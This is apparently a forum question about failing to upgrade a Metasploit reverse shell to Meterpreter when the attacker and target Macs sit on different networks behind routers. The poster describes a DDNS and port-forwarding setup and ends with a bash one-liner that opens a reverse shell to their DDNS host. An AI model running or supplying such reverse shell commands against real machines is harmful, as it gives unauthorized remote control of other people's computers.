I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently:
- Created a DDNS that points to my public IP
- Set up port forwarding for all the important ports I use (6680, 4433)
- Tested the setup (DDNS and each port) by accessing temporary server hosted on my attacker machine
This image from Corelan's blog post sums up my situation very well:
But when I try to upgrade the shell to a meterpreter
, either via this command sessions -u 1
or by manually using the post/multi/manage/shell_to_meterpreter
module, the shell fails to upgrade.
It fails to bind to the DDNS / Public IP for obvious reasons and binds to my local network IP or loopback address by default. This works without any issues when both attacker and target machines are on the same network, but always fails over the internet.
I just can't understand how to make it work.
Some more details:
- Both attacker and target machines are Macbooks running OSX 10.10 x64 Yosemite
- Both machines are on completely different networks, each behind a router and a different ISP
- Using Metasploit version
v4.11.4-dev-8a5e45b1
- Using the
osx/x64/shell_reverse_tcp
payload Running this command on the target machine to connect back to the attacker:
bash -c "bash -i >& /dev/tcp/my.ddns.host/6680 0>&1 2>&1"